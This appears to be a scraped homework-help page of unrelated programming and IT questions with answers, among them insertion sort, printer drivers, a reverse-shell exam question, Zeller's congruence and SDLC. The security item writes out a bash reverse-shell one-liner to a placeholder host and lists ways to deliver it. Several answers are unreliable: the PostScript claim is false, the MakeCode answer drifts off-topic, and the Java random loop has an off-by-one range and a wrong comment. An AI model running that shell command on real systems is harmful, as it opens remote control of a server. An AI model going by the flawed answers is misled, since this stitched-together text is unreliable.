Insertion sort in java code. I need java program to output this print out exact, please. The output comparisons: 7 is what I am having issue with it is printing the wrong amount.
When the input is:
6 3 2 1 5 9 8
the output is:
3 2 1 5 9 8
2 3 1 5 9 8
1 2 3 5 9 8
1 2 3 5 9 8
1 2 3 5 9 8
1 2 3 5 8 9
comparisons: 7
swaps: 4
Here are the steps that are need in order to accomplish this.
The program has four steps:
1 Read the size of an integer array, followed by the elements of the array (no duplicates).
2 Output the array.
3 Perform an insertion sort on the array.
4 Output the number of comparisons and swaps performed.
main() performs steps 1 and 2.
Implement step 3 based on the insertion sort algorithm in the book. Modify insertionSort() to:
Count the number of comparisons performed.
Count the number of swaps performed.
Output the array during each iteration of the outside loop.
Complete main() to perform step 4, according to the format shown in the example below.
Hints: In order to count comparisons and swaps, modify the while loop in insertionSort(). Use static variables for comparisons and swaps.
The program provides three helper methods:
// Read and return an array of integers.
// The first integer read is number of integers that follow.
int[] readNums()
// Print the numbers in the array, separated by spaces
// (No space or newline before the first number or after the last.)
void printNums(int[] nums)
// Exchange nums[j] and nums[k].
void swap(int[] nums, int j, int k)

You work at a print shop that produces marketing materials, and your manager asks you to install a new printer. The printer comes with two options for drivers. One uses PCL, and the other uses Postscript. Which driver is the best option and why
Answers
Since you work at a print shop that produces marketing materials, and your manager asks you to install a new printer. The drivers that is best is PCL, because it can be used in the office to print physical document while the Postcript can only be used for online document or pdf and since it is office job, PCL is the best.
What is PCL printer?PCL use depends on the device. This indicates that certain printed data, typically graphical data like fill areas, underlines, or fonts, is created by the drivers for this language by using the printer hardware. As a result, the print job can be processed by the computer fast and effectively. The production and processing of page data must then be finished by the printer.
Note that If you typically print from "Office" programs in general, use the PCL driver. If you wish to print PDFs more quickly or use professional DTP and graphics tools for the majority of your printing, pick the PostScript driver.

When programming in the MakeCode Arcade interface, why would you select
one of the buttons in the bottom right corner of the screen?
Answers
In the MakeCode Arcade interface, buttons in the bottom right corner of the screen are typically selected to change the display mode between code blocks and JavaScript. This allows the user to switch between a visual, block-based interface for writing code and a text-based interface for writing JavaScript code.
How does the MakeCode arcade's code leaping work?To position the sprite in the game's center, add an A button event. To make the sprite "jump" (move) 15 pixels, add a B button event.
Therefore, the "code drawers" in the editor's center are where the blocks are kept. A Position variable in MakeCode is a special type of variable that stores three numbers that identify a particular place in three dimensions. These values are referred to as X, Y, and Z coordinates. This feature provides greater flexibility and control over the code, allowing the user to write code using their preferred method.

With the help of the network, the attacker can obtain the shell or root shell of the remote server (Linux operating system-based) through the reverse shell attack, and then get full control of the server. The typical reverse shell instruction is as follows:
/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"
1) Please explain the meaning of 0,1,2,>, <, & represented in the above statement;
2) What does the attacker need to do on his machine in order to successfully get the shell information output on the server side? And please explain the meaning represented by /dev/tcp/server_ip/9090;
3) Combined with the above statement, explain the implementation process of reverse shell attack;
4) Combined with the relevant knowledge learned in our class, what attacking methods can be used to successfully transmit and execute the above reverse shell instruction on the server side?
Answers
1. 0 represents standard input (stdin), 1 represents standard output (stdout), 2 represents standard error (stderr), > is output redirection, < is input redirection, and & is used for file descriptor redirection.
2. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility.
3.Identify vulnerable system, craft reverse shell payload, deliver payload to target, execute payload to establish connection with attacker are methods for implementation.
4. Exploiting vulnerabilities, social engineering, planting malware/backdoors, compromising trusted user accounts can be used to execute the reverse shell instruction.
1. In the reverse shell instruction provided ("/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"), the symbols 0, 1, 2, >, <, and & represent the following:
0: It represents file descriptor 0, which is the standard input (stdin).
1: It represents file descriptor 1, which is the standard output (stdout).
2: It represents file descriptor 2, which is the standard error (stderr).
: It is the output redirection symbol and is used to redirect the output of a command to a file or device.
<: It is the input redirection symbol and is used to redirect input from a file or device to a command.
&: It is used for file descriptor redirection, specifically in this case, combining stdout and stderr into a single stream.
2. To successfully get the shell information output on the server side, the attacker needs to set up a listening service on their own machine. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility. The "/dev/tcp/server_ip/9090" in the reverse shell instruction represents the connection to the attacker's machine on IP address "server_ip" and port 9090. By specifying this address and port, the attacker creates a connection between their machine and the compromised server, allowing the output of the shell to be sent to their machine.
3. The reverse shell attack is typically performed in the following steps:
The attacker identifies a vulnerability in the target server and gains control over it.The attacker crafts a payload that includes the reverse shell instruction, which allows the attacker to establish a connection with their machine.The attacker injects or executes the payload on the compromised server, initiating the reverse shell connection.The reverse shell instruction creates a new shell on the compromised server and connects it to the attacker's machine, redirecting the shell's input and output streams to the network connection.Once the reverse shell connection is established, the attacker gains interactive access to the compromised server, obtaining a shell or root shell, and can execute commands as if they were directly working on the server itself.4. Successfully transmit and execute the reverse shell instruction on the server side, the attacker can use various attacking methods, including:
Exploiting a vulnerability: The attacker can search for known vulnerabilities in the target server's operating system or specific applications running on it. By exploiting these vulnerabilities, they can gain unauthorized access and inject the reverse shell payload.
Social engineering: The attacker may use social engineering techniques, such as phishing emails or deceptive messages, to trick a user with access to the server into executing the reverse shell payload unknowingly.
Malware or backdoor installation: If the attacker already has control over another system on the same network as the target server, they may attempt to install malware or a backdoor on that system. This malware or backdoor can then be used to launch the reverse shell attack on the target server.
Compromising a trusted user account: The attacker may target and compromise a user account with privileged access on the server. With the compromised account, they can execute the reverse shell instruction and gain control over the server.
It is important to note that carrying out such attacks is illegal and unethical unless done with proper authorization and for legitimate security testing purposes.

Verify that all the marks input are between 0 and 100 (inclusive). If not, then the user must re-enter that mark
Determine and display “Distinction” next to the student whose mark is greater than or equal to 75
Determine and display “Pass” next to the student whose mark is in the range 50 to 74
Determine and display “Fail” next to the student whose mark is less than 50
Determine and display the name of the student with highest mark and lowest mark
Calculate and display the average class mark

The pseudocode for the given variables is shown below;
Declare and initialize variables:
highestMark = 0
highestMarkName = ""
totalMarks = 0
Repeat the following steps for each student:
a. Input studentName and mark
b. If mark is less than 0 or greater than 100, repeat step 2a
c. If mark is greater than or equal to 75, display studentName, mark, and "Distinction"
d. If mark is less than 50, display studentName, mark, and "Fail"
e. If mark is between 50 and 74 (inclusive), display studentName, mark, and "Pass"
f. If mark is greater than highestMark, update highestMark to mark and highestMarkName to studentName
g. Add mark to totalMarks
Calculate averageMark by dividing totalMarks by the number of students (which is 10)
Display highestMarkName and "has the highest mark."
Display "Average class mark is " concatenated with averageMark.

Create a method called randomValues that uses a while loop to generate a random number between 1-25 until the value 10 is generated. Therefore, 10 will be the value that stops your loop from generating a random number.
Answers
Answer:
The method in Java is as follows:
public static void randomValues(){
Random r = new Random();
int sentinel = 10;
int randNum = r.nextInt(24) + 1;
while(randNum!=sentinel){
System.out.print(randNum+" ");
randNum = r.nextInt(24) + 1;
}
System.out.print(sentinel);
}
Explanation:
This defines the method
public static void randomValues(){
This creates a random object, r
Random r = new Random();
This sets the sentinel value to 0
int sentinel = 10;
This generates a random number
int randNum = r.nextInt(24) + 1;
This loop is repeated until the the random number is 10
while(randNum!=sentinel){
Print the generated number
System.out.print(randNum+" ");
Generated another random number
randNum = r.nextInt(24) + 1; }
Print the sentinel (i.e. 10)
System.out.print(sentinel);
}
On page 104, of Think Like a Computer Scientist, you learned about paired data. With paired data, you can use a for loop with two index variables to iterative through the data. In this exercise you will create a turtle drawing using pairs of data, where the first item of the pair is the distance to move forward , and the second item is the angle to turn.. Set up a list of pairs so that the turtle draws a house with a cross through the center, as show here. This should be done without going over any of the lines / edges more than once, and without lifting your pen.
Your first pair of data will be (100,135). In a list this will look like ls = [ (100, 135) ] Then you need to add the other pairs for the remaining lines and angles. The 100 represents the distance forward the turtle will travel. The 135 represents the angle the turtle will turn left.
Screen capture of run of program showing house figure
Hint: Your first line should be the bottom line. Then turn left 135 degrees and go forward. You may wish to create the drawing without the list first, then substitute a list and a for loop for the distances and angles.
Use two functions: a main() function that sets up screen and turtle objects, and a drawhouse() function that takes a turtle object as an argument.

Answers
Answer:
import turtle
def drawhouse(t):
# find the length of diagonal of a square with side = 100
# formula: diagonal = sqrt(2) * side
diagonal = 100 * (2 ** 0.5)
data = [(100, 135), (diagonal, -135), (100, -135), (diagonal, -135), (100, -45), (diagonal / 2, -90),
(diagonal / 2, -45), (100, 0)]
for dist, angle in data:
t.forward(dist)
t.left(angle)
def main():
t = turtle.Turtle()
drawhouse(t)
turtle.done()

Zeller’s congruence is an algorithm developed by Christian Zeller to calculate the day of the week. The formula is h = (q + 26(m+1)//10 + k + k//4 +j//4 +5j) % 7 where - h is the day of the week (0: Saturday, 1: Sunday, 2: Monday, 3: Tuesday, 4: Wednesday, 5: Thursday, 6: Friday). - q is the day of the month. - m is the month (3: March, 4: April, ..., 12: December). January and February are counted as months 13 and 14 of the previous year. - j is year//100. - k is the year of the century (i.e., year % 100). Write a program that prompts the user to enter a year, month, and day of the month, and then it displays the name of the day of the week.
Answers
Answer:
Here is the program:
import java.util.Scanner; // to accept input from user
public class Main { //class definition
public static void main(String[] args) { //start of main function
Scanner input = new Scanner(System.in); //creates Scanner class object
System.out.print("Enter year: "); //prompts user to enter Year
int year = input.nextInt(); // reads input year from user
System.out.print("Enter month: "); //prompts user to enter month
int month = input.nextInt(); // reads input month from user
System.out.print("Enter the day of the month: "); //prompts user to enter day of month
int dayM = input.nextInt(); // reads input day of month from user
if (month == 1 || month == 2){ //if month is January or February
month = (month == 1) ? 13 : 14; //if month is January set month to 13 and 14 otherwise
year--; } //decrements value of year
int dayW = (dayM + (26 * (month + 1)) / 10 + (year % 100)
+ (year % 100) / 4 + (year / 100) / 4 + 5 * (year / 100)) % 7; //computes day of the week
System.out.print("Day of the week is "); //prints day of week
switch(dayW) { //used to print day of the week
case 0: System.out.println("Saturday"); break; //if 0 then displays Saturday
case 1: System.out.println("Sunday"); break; //1 then displays Sunday
case 2: System.out.println("Monday"); break; //2 then displays Monday
case 3: System.out.println("Tuesday"); break; //3 then displays Tuesday
case 4: System.out.println("Wednesday"); break; //4 then displays Wednesday
case 5: System.out.println("Thursday"); break; //5 then displays Thursday
case 6: System.out.println("Friday"); } } } //6 then displays Friday
Explanation:
The program first prompts the user to enter the values of year, month and day of month. Then uses the following formula to compute day of the week in that particular year, month and day of week:
Suppose
year = 2020
month = 9
day of month = dayM = 6
Then dayM is calculated as
(dayM + (26 * (month + 1)) / 10 + (year % 100)
+ (year % 100) / 4 + (year / 100) / 4 + 5 * (year / 100)) % 7
(6+ (26 * (9+ 1)) / 10 + (2020% 100)
+ (2020% 100) / 4 + (2020/ 100) / 4 + 5 * (2020/ 100)) % 7;
This gives answer as 1.
Now if we see the switch statement the day corresponding to 1 is Sunday
So the day on year 2020, month 9 and day of the month 6 is Sunday.
The screenshot of program along with its output is attached.

Answer:
Check the explanation
Explanation:
SDLC
SDLC stands for Software Development Life Cycle
It provides steps for developing a software product
It also checks for the quality and correctness of a software
The main aim of SDLC is to develop a software, which meets a customer requirements
SDLC involves various phases to develop a high-quality product for its end user
Phases of SDLC
There are seven phases in a software development life cycle as follows,
Requirement Analysis Feasibility Study Design Coding Testing Deployment Maintenance
kindly check the attached image below
Requirement analysis
This is the first stage in a SDLC.
In this phase, a detailed and precise requirements are collected from various teams by senior team members
It gives a clear idea of the entire project scope, opportunities and upcoming issues in a project
This phase also involves, planning assurance requirements and analyze risk involved in the project
Here, the timeline to finish the project is finalized
Feasibility Study
In this stage, the SRS document, that is “Software Requirement Specification” document is defined, which includes everything to be designed and developed during the life cycle of a project
Design
In this phase as the name indicates, software and system design documents are prepared, based on the requirement specification document
This enable us to define the whole system architecture
Two types of design documents are prepared in this phase as follows,
High-Level Design
Low-Level Design
Coding
In this phase, the coding of project is done in a selected programming language
Tasks are divided into many units and given to various developers
It is the longest phase in the SDLC
Testing
In this stage, the developed coding is tested by the testing team
The testing team, checks the coding in the user point of view
Installation/Deployment
In this stage, a product is released by the company to the client
Maintenance
Once the product is delivered to the client, the maintenance phase work will start by fixing errors, modifying and enhancing the product.
Employee Payroll System
Requirement analysis
Gather information from various team for requirement
Analyze the number of employees to handle the project
Timeline to finish the project, eg.1 month
Feasibility Study
The system requirements such as how many systems are required
Decide which software to be installed to handle the project.
For example, if we are going to develop the software using C language, then software for that has to be installed
The SRS document has to be prepared
Design
In this the HLD and LLD is prepared, the overall software architecture is prepared
The modules involved in coding are decided
Here the modules can be employee, payroll manager, Employee Log time, account details
The input and output are designed, such as employee name is the input and output is the salary for him, based on working hours
Coding
Here the coding is divided into various sections and given to 2 or more employees
One may code employee detail, one will code working hours of employees and one may code the banking details of employee
Testing
The coding is tested for syntax, declaration, data types and various kinds of error
The testing team will test the coding with various possible values
They may even check with wrong values and analyze the output for that
Installation
Now the software is installed in the client system and the client is calculating the payroll for an employee based on working hours in a month
Maintenance
If any error occurs, the team will clear the issue.
When a new employee joins, then the employee data will added to the database and the database is updated
Also if the client asks for any new features, it will done in this phase.
